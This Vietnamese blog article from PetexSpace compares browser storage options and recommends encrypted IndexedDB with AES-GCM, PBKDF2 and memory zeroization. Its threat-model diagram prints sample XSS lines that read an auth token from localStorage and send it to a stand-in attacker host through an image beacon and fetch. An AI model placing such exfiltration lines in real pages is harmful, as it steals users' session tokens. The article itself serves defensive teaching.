← Quay lại blog

Lưu Trữ Trình Duyệt An Toàn: So Sánh LocalStorage, SessionStorage và IndexedDB Mã Hóa

PetexSpace

Các ứng dụng frontend thường xuyên phải xử lý các tài sản dữ liệu tuyệt mật: seed mật mã học, mã xác thực đa yếu tố, trạng thái phiên làm việc riêng tư và các tài liệu độc quyền của người dùng. Trong các ứng dụng web tập trung, các kiến trúc sư thường ủy quyền việc bảo vệ thông tin xác thực cho server thông qua cookie HttpOnly và SameSite. Tuy nhiên, trong các công cụ web ưu tiên xử lý cục bộ (local-first) và bảo vệ quyền riêng tư, nơi toàn bộ quá trình tính toán diễn ra hoàn toàn trong runtime của client, ứng dụng bắt buộc phải tự quản lý trạng thái bền vững cũng như trạng thái tạm thời trực tiếp bên trong các engine lưu trữ của trình duyệt.

Không phải mọi cấu trúc lưu trữ nguyên bản của trình duyệt đều cung cấp các ranh giới bảo mật tương đương nhau. Thói quen phổ biến lưu trữ token nhạy cảm trong localStorage là một mối nguy hại bảo mật nghiêm trọng, khiến bí mật của người dùng phơi bày trước bất kỳ dependency độc hại nào hoặc bất kỳ lỗ hổng Cross-Site Scripting (XSS) nào.

Tài liệu hướng dẫn này đánh giá các hồ sơ kỹ thuật, đặc tính hiệu năng và các vector đe dọa của các cơ chế lưu trữ trình duyệt. Chúng tôi sẽ phân tích cơ chế mã hóa có xác thực ngay trong trình duyệt, tìm hiểu kỹ thuật tiêu hủy mật mã học (cryptographic shredding) cho các bí mật tạm thời, đồng thời trình bày chi tiết kiến trúc vệ sinh lưu trữ được áp dụng nghiêm ngặt trên toàn bộ các tiện ích của PetexSpace.

+-------------------------------------------------------------------------+
|                  Browser Storage Security Continuum                     |
+-------------------------------------------------------------------------+
| LEAST SECURE                                               MOST SECURE  |
|                                                                         |
|  [localStorage]  --->  [sessionStorage]  --->  [Encrypted IndexedDB]    |
|        |                      |                          |              |
|  - Plaintext on disk   - Plaintext in memory      - Authenticated       |
|  - Global to origin    - Scoped to single tab       AES-GCM (256-bit)   |
|  - Trivial XSS harvest - Closes with tab          - Key held in memory  |
|  - Never expires       - Ephemeral lifecycle      - Cryptographic shred |
+-------------------------------------------------------------------------+

1. Phân Loại Hệ Thống Lưu Trữ Trình Duyệt: Hồ Sơ Kỹ Thuật và Hạn Mức Quota

Các trình duyệt web hiện đại cung cấp bốn cơ chế trừu tượng hóa việc lưu trữ dữ liệu bền vững. Mỗi cơ chế được thiết kế để giải quyết các bài toán đánh đổi khác nhau giữa tính đồng bộ khi thực thi, dung lượng lưu trữ, độ phức tạp cấu trúc và khả năng truy cập giữa các thread.

+-------------------------------------------------------------------------+
|                   Browser Storage Comparison Matrix                     |
+-------------------------------------------------------------------------+
| Feature           | LocalStorage  | SessionStorage | IndexedDB (Native) |
+-------------------+---------------+----------------+--------------------+
| Access API        | Synchronous   | Synchronous    | Asynchronous       |
| Thread Context    | Window only   | Window only    | Window and Workers |
| Capacity Limit    | ~5MB          | ~5MB           | Up to 80% disk     |
| Data Structure    | Key-Value str | Key-Value str  | Object Store / Blob|
| Lifetime          | Persistent    | Tab session    | Persistent         |
| XSS Exposure      | Unrestricted  | Unrestricted   | Unrestricted       |
| Hardware I/O      | Main-thread   | Main-thread    | Background thread  |
+-------------------------------------------------------------------------+

LocalStorage: Cạm Bẫy Tiện Lợi Kế Thừa

localStorage cung cấp kho lưu trữ khóa-giá trị (key-value) đồng bộ, chỉ giới hạn riêng cho chuỗi ký tự (string). Do các thao tác xử lý là đồng bộ, việc đọc hoặc ghi các giá trị có kích thước nhiều kilobyte sẽ làm nghẽn main thread JavaScript, gây ảnh hưởng trực tiếp đến tốc độ render khung hình và tương tác của người dùng. Dữ liệu được ghi vào localStorage sẽ tồn tại vô thời hạn qua các lần khởi động lại trình duyệt cho đến khi được xóa thủ công bằng mã JavaScript hoặc thao tác của người dùng.

SessionStorage: Cô Lập Ở Cấp Độ Tab

sessionStorage dùng chung API dạng chuỗi đồng bộ như localStorage, nhưng vòng đời thực thi của nó bị giới hạn nghiêm ngặt trong ngữ cảnh duyệt web cấp cao nhất (tab đang hoạt động). Việc nhân bản một tab sẽ tạo ra một bản sao cô lập của trạng thái session storage, nhưng mọi thay đổi tiếp theo ở tab này sẽ hoàn toàn độc lập và không hiển thị ở tab kia. Khi người dùng đóng tab, dữ liệu lưu trữ sẽ bị xóa sạch khỏi bộ nhớ.

IndexedDB: Cơ Chế Bền Vững Bất Đồng Bộ Thông Lượng Cao

IndexedDB là một cơ sở dữ liệu hướng đối tượng theo mô hình transaction được nhúng trực tiếp bên trong engine trình duyệt. Nó hỗ trợ các kiểu dữ liệu có cấu trúc (object, array, Map, Set, Blob và các thực thể ArrayBuffer) mà không tốn chi phí tuần tự hóa (serialization).

Nhờ các thao tác trong IndexedDB là non-blocking và hoạt động theo cơ chế hướng sự kiện, các tác vụ I/O đĩa lớn có thể thực thi mà không gây giật lag giao diện người dùng. Hơn nữa, IndexedDB có thể được truy cập toàn diện từ bên trong các Web Worker chuyên dụng, biến nó thành nền tảng lưu trữ cốt lõi cho các ứng dụng web đòi hỏi năng lực tính toán chuyên sâu.

Hạn Mức Origin Quota và Thuật Toán Thu Hồi Bộ Nhớ

Trình duyệt cấp phát dung lượng lưu trữ động dựa trên không gian đĩa khả dụng theo hai cấp độ:

  1. Lưu Trữ Tạm Thời (Best-Effort): Theo mặc định, nhóm lưu trữ của một origin được gắn nhãn là tạm thời. Khi chịu áp lực thiếu hụt dung lượng đĩa, thuật toán thu hồi của trình duyệt có thể tự động xóa dữ liệu theo chính sách Least-Recently-Used (LRU) mà không cần thông báo trước cho người dùng.
  2. Lưu Trữ Bền Vững (Persistent Storage): Các ứng dụng có thể yêu cầu quyền lưu trữ bền vững thông qua Permissions API:
// Requesting persistent storage privilege to prevent eviction
export async function enablePersistentStorage(): Promise<boolean> {
  if (navigator.storage && navigator.storage.persist) {
    const isPersisted = await navigator.storage.persist();
    console.log(`Persistent storage granted: ${isPersisted}`);
    return isPersisted;
  }
  return false;
}

2. Mô Hình Hóa Mối Đe Dọa: XSS và Sự Mong Manh của Lưu Trữ Không Mã Hóa

Mối đe dọa trọng tâm đối với tính bền vững của dữ liệu trong trình duyệt là Cross-Site Scripting (XSS). Cho dù phát sinh từ một dependency npm bị xâm nhập, một script bên thứ ba không an toàn, hay một điểm render DOM thiếu cơ chế làm sạch dữ liệu đầu vào, việc mã script tùy ý được thực thi trong phạm vi origin của tài liệu sẽ phá vỡ hoàn toàn các ranh giới truy cập truyền thống.

+-------------------------------------------------------------------------+
|                  XSS Token Exfiltration Attack Pathway                  |
+-------------------------------------------------------------------------+
| [Malicious Injected Script / Compromised Dependency]                   |
|       |                                                                 |
|       | (1) Read Document Origin Storage                                |
|       v                                                                 |
| const secret = window.localStorage.getItem('auth_token');               |
|       |                                                                 |
|       | (2) Exfiltrate via Covert Out-of-Band Channel                   |
|       v                                                                 |
| new Image().src = `https://attacker-c2.com/log?token=${secret}`;        |
| fetch('https://attacker-c2.com/collect', { body: secret });             |
+-------------------------------------------------------------------------+

Lỗ Hổng Đọc Dữ Liệu Không Rào Cản của localStorage

Bất kỳ mã JavaScript nào thực thi bên trong một origin đều có thể đọc toàn bộ key và value được lưu trữ bên trong window.localStorage bằng cách gọi lệnh window.localStorage.getItem(). Ở đây hoàn toàn không có phân vùng phạm vi, không có quyền đọc riêng biệt, cũng như không có cơ chế kiểm soát truy cập mật mã học.

Một kẻ tấn công dù chỉ giành được quyền thực thi script tạm thời cũng có thể thu thập toàn bộ token xác thực, các tham số phiên làm việc riêng tư và các bản ghi người dùng được lưu tạm chỉ bằng một dòng code, sau đó trích xuất dữ liệu thông qua image beacon hoặc request fetch bất đồng bộ.

Trong các kiến trúc tập trung truyền thống, các lập trình viên phòng thủ trước vấn đề thu thập token qua XSS bằng cách lưu trữ token xác thực trong HTTP cookie có gắn cờ HttpOnly. Trình duyệt sẽ tự động đính kèm cookie HttpOnly vào các request mạng gửi đi, nhưng nghiêm cấm mã JavaScript đọc chuỗi document.cookie.

Tuy nhiên, trong các công cụ ưu tiên xử lý cục bộ và bảo vệ quyền riêng tư, cơ chế này không thể áp dụng:

  1. Các công cụ local-first vận hành không phụ thuộc vào server xác thực trung tâm.
  2. Engine tính toán cần quyền truy cập trực tiếp bằng mã lệnh vào các khóa mật mã học để thực hiện mã hóa, giải mã và định dạng trực tiếp ngay trong bộ nhớ của người dùng.
  3. Do JavaScript bắt buộc phải đọc khóa để tính toán các phép biến đổi, cookie HttpOnly không thể bảo vệ trạng thái vận hành này.

Do đó, các ứng dụng buộc phải triển khai chiến lược phòng thủ theo chiều sâu: kết hợp các chính sách Content Security Policy (CSP) nghiêm ngặt với mã hóa có xác thực ngay trong trình duyệt.

3. Lưu Trữ Mật Mã Học Trong Trình Duyệt: Kiến Trúc IndexedDB Mã Hóa

Để bảo vệ các trạng thái nhạy cảm của ứng dụng khỏi việc phân tích đĩa tĩnh, trích xuất bộ nhớ (memory dump) và hành vi trộm cắp thiết bị vật lý, các ứng dụng tuyệt đối không nên lưu trữ tài nguyên dạng văn bản thuần (plaintext) trong IndexedDB. Thay vào đó, payload trạng thái phải được đưa qua một vault mật mã học có xác thực sử dụng Web Cryptography API (crypto.subtle).

+-------------------------------------------------------------------------+
|            Encrypted IndexedDB Cryptographic Transformation             |
+-------------------------------------------------------------------------+
| [Plaintext State / Data Payload]                                        |
|       |                                                                 |
|       v                                                                 |
| [WebCrypto: AES-GCM (256-bit Key Derived via PBKDF2)]                   |
|       |                                                                 |
|       +---> Generates 96-bit Unique Initialization Vector (IV)          |
|       +---> Computes 128-bit Authentication Tag                         |
|       v                                                                 |
| [Ciphertext Record: { iv: Uint8Array, data: ArrayBuffer }]              |
|       |                                                                 |
|       v                                                                 |
| [IndexedDB Object Store (Stored Safely on Disk)]                        |
+-------------------------------------------------------------------------+

Dẫn Xuất Khóa Bằng PBKDF2

Một khóa mã hóa đối xứng 256-bit có độ entropy cao được dẫn xuất từ mật khẩu người dùng hoặc entropy phiên làm việc tạm thời bằng hàm Password-Based Key Derivation Function 2 (PBKDF2) kết hợp với SHA-256 và tối thiểu 600.000 vòng lặp băm.

// Deriving a symmetric AES-GCM key using the Web Cryptography API
export async function deriveEncryptionKey(
  passphrase: string, 
  salt: Uint8Array
): Promise<CryptoKey> {
  const encoder = new TextEncoder();
  const rawKeyMaterial = await crypto.subtle.importKey(
    'raw',
    encoder.encode(passphrase),
    { name: 'PBKDF2' },
    false,
    ['deriveKey']
  );

  return crypto.subtle.deriveKey(
    {
      name: 'PBKDF2',
      salt: salt,
      iterations: 600000,
      hash: 'SHA-256'
    },
    rawKeyMaterial,
    { name: 'AES-GCM', length: 256 },
    false, // Key is non-extractable from memory
    ['encrypt', 'decrypt']
  );
}

Mã Hóa Có Xác Thực Với AES-GCM

Thuật toán AES-GCM (Galois/Counter Mode) cung cấp đồng thời cả tính bảo mật lẫn khả năng xác minh tính toàn vẹn mật mã học. Một Initialization Vector (IV) duy nhất dài 96-bit (12-byte) phải được sinh ra cho mỗi lần mã hóa bằng hàm crypto.getRandomValues(). Việc tái sử dụng IV với cùng một khóa sẽ phá hủy hoàn toàn các đảm bảo an toàn của AES-GCM.

// Production wrapper for authenticated local storage encryption
export interface EncryptedRecord {
  iv: Uint8Array;
  ciphertext: ArrayBuffer;
}

export async function encryptPayload(
  data: string, 
  key: CryptoKey
): Promise<EncryptedRecord> {
  const encoder = new TextEncoder();
  const iv = crypto.getRandomValues(new Uint8Array(12)); // 96-bit IV

  const ciphertext = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    key,
    encoder.encode(data)
  );

  return { iv, ciphertext };
}

export async function decryptPayload(
  record: EncryptedRecord, 
  key: CryptoKey
): Promise<string> {
  const decryptedBuffer = await crypto.subtle.decrypt(
    { name: 'AES-GCM', iv: record.iv },
    key,
    record.ciphertext
  );

  return new TextDecoder().decode(decryptedBuffer);
}

Bằng cách lưu trữ cấu trúc EncryptedRecord thành phẩm vào IndexedDB, quy trình giám định pháp y vật lý trên phân vùng lưu trữ của máy chủ chỉ thu được bản mã (ciphertext) có độ entropy cao. Hơn nữa, việc thiết lập thuộc tính extractable: false trong quá trình dẫn xuất khóa đảm bảo các byte khóa thô không thể bị trích xuất thông qua các lệnh gọi runtime của JavaScript.

4. Vòng Đời Trạng Thái Tạm Thời và Tiêu Hủy Mật Mã Học

Đối với các công cụ quản lý thông tin xác thực tạm thời (chẳng hạn như các khóa bí mật chia sẻ được quản lý trong công cụ tạo mã 2FA trên trình duyệt với quản lý khóa tạm thời của chúng tôi), chiến lược lưu trữ an toàn nhất là hoàn toàn không ghi dữ liệu bền vững xuống đĩa.

+-------------------------------------------------------------------------+
|            Cryptographic Shredding vs Operating System Erase            |
+-------------------------------------------------------------------------+
| TRADITIONAL DISK ERASE:                                                 |
| Delete Record -> Inode unlinked -> Ciphertext blocks linger on SSD flash|
|                                                                         |
| CRYPTOGRAPHIC SHREDDING:                                                |
| 1. Master Ephemeral Key held exclusively in volatile RAM.               |
| 2. On Logout / Session Expiry: Key zeroed in memory (TypedArray.fill(0))|
| 3. Result: Stored ciphertext on disk becomes mathematically impossible  |
|    to decrypt. Equivalent to physical destruction of data.              |
+-------------------------------------------------------------------------+

Cơ Chế Tiêu Hủy Mật Mã Học (Cryptographic Shredding)

Khi dữ liệu bắt buộc phải lưu trữ trên các thiết bị lưu trữ cố định (non-volatile), các biện pháp xóa dữ liệu truyền thống thường không hiệu quả vì bộ điều khiển cân bằng độ mòn (wear-leveling) của chip nhớ flash ngăn chặn việc ghi đè trực tiếp lên các sector vật lý thô.

Kỹ thuật tiêu hủy mật mã học giải quyết bài toán này:

  1. Các khối dữ liệu được mã hóa bằng một khóa mã hóa dữ liệu chuyên dụng.
  2. Khóa này được lưu trữ trong một vault tạm thời duy nhất được kiểm soát chặt chẽ hoặc chỉ được lưu giữ duy nhất trong bộ nhớ RAM.
  3. Khi phiên làm việc kết thúc hoặc người dùng bấm "Xóa Dữ Liệu", khóa mã hóa sẽ được xóa về số 0 và tiêu hủy hoàn toàn.
  4. Khi không có khóa, các khối ciphertext còn sót lại trên ổ đĩa vật lý về mặt toán học không thể phân biệt được với nhiễu ngẫu nhiên, đảm bảo hiệu quả hủy dữ liệu tương đương việc phá hủy vật lý.

Vệ Sinh Bộ Nhớ và Xóa Trắng Buffer Trong JavaScript

Mặc dù cơ chế thu gom rác (garbage collection) của JavaScript tự động quản lý bộ nhớ, nó không đảm bảo việc lập tức ghi đè số 0 lên các đối tượng đã bị loại bỏ. Chuỗi ký tự (string) mang tính bất biến (immutable) và có thể tồn tại qua nhiều thế hệ thu gom rác trong các vùng cấp phát trên heap.

Để giảm thiểu khoảng thời gian dữ liệu nhạy cảm bị phơi bày trong bộ nhớ, các payload nhị phân nhạy cảm phải được xử lý dưới dạng mảng định kiểu (Uint8Array) và phải được xóa sạch tường minh bằng phương thức .fill(0) ngay sau khi sử dụng:

// Explicit memory zeroization pattern for sensitive buffers
export function zeroizeBuffer(buffer: Uint8Array): void {
  // Overwrite memory contents with zeros
  buffer.fill(0);
}

// Example usage lifecycle
export function handleSensitiveSecret(secretBytes: Uint8Array) {
  try {
    // Execute critical cryptographic operation
    performCryptographicTask(secretBytes);
  } finally {
    // Ensure memory is sanitized regardless of operational exceptions
    zeroizeBuffer(secretBytes);
  }
}

5. Mô Thức Lưu Trữ Tạm Thời Tại PetexSpace

Tại PetexSpace, chúng tôi thực thi các ranh giới lưu trữ nghiêm ngặt nhằm bảo toàn quyền riêng tư của người dùng và chủ quyền dữ liệu trên từng tiện ích tương tác.

+-------------------------------------------------------------------------+
|                  PetexSpace State Hygiene Framework                     |
+-------------------------------------------------------------------------+
| UI Preferences: Theme / View Mode       ---> Plaintext localStorage     |
| Multi-Megabyte Workspaces & Caches      ---> Ephemeral IndexedDB Vault  |
| TOTP Secrets & Cryptographic Keys       ---> Volatile TypedArray in RAM |
| Telemetry & Tracking Cookies            ---> ABSOLUTELY ZERO (Eliminated|
+-------------------------------------------------------------------------+

Các Quy Tắc Kiến Trúc Cốt Lõi

  1. Thực Thi Mặc Định Trong Bộ Nhớ Biến Đổi (Volatile-by-Default): Các ứng dụng khởi chạy ở trạng thái chưa khởi tạo và lưu trữ các dữ liệu nhập tạm thời của người dùng hoàn toàn trong bộ nhớ component. Đóng cửa sổ trình duyệt sẽ tự động xóa sạch trạng thái này.
  2. Lưu Trữ Mã Hóa Theo Lựa Chọn Của Người Dùng (Opt-In): Nếu một ứng dụng cung cấp tính năng lưu workspace, cơ chế lưu trữ bền vững phải được người dùng kích hoạt rõ ràng. Trạng thái sẽ được mã hóa bằng các khóa do người dùng dẫn xuất trước khi ghi vào IndexedDB.
  3. Tuyệt Đối Không Đo Xa và Không Lưu Trữ Dữ Liệu Phân Tích (Zero Telemetry & Analytics): Các ứng dụng của PetexSpace không ghi bất kỳ mã định danh theo dõi, token quảng cáo hay dấu vết nhận dạng thiết bị (fingerprint) qua các phiên làm việc nào vào bộ nhớ trình duyệt.

Danh Sách Kiểm Tra Kiểm Toán Bảo Mật Dành Cho Đội Ngũ Frontend

Trước khi triển khai các ứng dụng web có xử lý dữ liệu bản ghi hoặc thông tin xác thực của người dùng, hãy xác minh cấu hình lưu trữ của bạn:

  • [ ] Kiểm tra localStorage bằng DevTools của trình duyệt; đảm bảo không có token xác thực, khóa bí mật hay PII nào nằm dưới dạng các key văn bản thuần.
  • [ ] Xác minh các header Content Security Policy đang thực thi connect-src 'self' hoặc connect-src 'none' nhằm ngăn chặn việc trích xuất dữ liệu trái phép ra bên ngoài.
  • [ ] Đảm bảo toàn bộ các bản ghi có cấu trúc lưu trữ bền vững đều sử dụng IndexedDB với mã hóa AES-GCM có xác thực.
  • [ ] Kiểm tra xác nhận các initialization vector (IV) được sinh ra thông qua crypto.getRandomValues() và không bao giờ bị tái sử dụng qua các thao tác.
  • [ ] Triển khai xóa trắng buffer mảng định kiểu tường minh (.fill(0)) đối với các thông tin xác thực nhạy cảm lưu trong bộ nhớ.

Khám phá các nguyên lý triển khai ưu tiên xử lý cục bộ của chúng tôi bằng cách trải nghiệm công cụ tạo mã 2FA trên trình duyệt với quản lý khóa tạm thời, sử dụng các công cụ để kiểm tra cấu trúc lưu trữ client, thử nghiệm công cụ chuyển đổi file trên trình duyệt, kiểm tra OCR phía client, hoặc xử lý các tệp đồ họa tuyệt mật ngay tại máy cục bộ bằng bộ công cụ hình ảnh bảo vệ quyền riêng tư.

cybersecuritydata-privacyfile-converters

Những rủi ro bảo mật tiềm ẩn của các công cụ chuyển đổi tệp từ xa: Dữ liệu tải lên sẽ đi về đâu?

Phân tích rủi ro kỹ thuật mang tính điều tra vạch trần các hoạt động lưu giữ dữ liệu, rò rỉ bộ chứa đa người thuê (multi-tenant) và vi phạm tuân thủ cố hữu trong các dịch vụ chuyển đổi tệp đám mây của bên thứ ba.

PetexSpace
CryptographyXác thựcSecurity

Kiến trúc của Mật khẩu Một lần Dựa trên Thời gian: Khám phá RFC 6238 và Cơ chế Tạo HMAC

Phân tích toán học và giao thức toàn diện về Mật khẩu Một lần Dựa trên Thời gian (TOTP) theo chuẩn RFC 6238, khám phá kỹ thuật dynamic truncation, bộ đếm bước HMAC-SHA1, xử lý lệch đồng hồ và thực thi an toàn ngay trên trình duyệt.

PetexSpace
CryptographyData EncodingMã QR

Giải phẫu mã QR: Cơ chế sửa lỗi Reed-Solomon và mã hóa ma trận

Khám phá chuyên sâu về mặt toán học của mã QR chuẩn ISO/IEC 18004, phân tích chi tiết số học trường Galois GF(2^8), đa thức sinh, cơ chế sửa lỗi Reed-Solomon và kỹ thuật kết xuất ma trận ngay trên trình duyệt.

PetexSpace
CryptographyWeb CryptoSecurity

Tính ngẫu nhiên mật mã học trong trình duyệt: Math.random so với crypto.getRandomValues

Nghiên cứu chuyên sâu về kiến trúc giữa bộ tạo số giả ngẫu nhiên (PRNG) và bộ tạo số giả ngẫu nhiên an toàn về mặt mật mã (CSPRNG) trong môi trường runtime trình duyệt, phân tích chi tiết xorshift128+, các cuộc tấn công tái tạo trạng thái và Web Cryptography API.

PetexSpace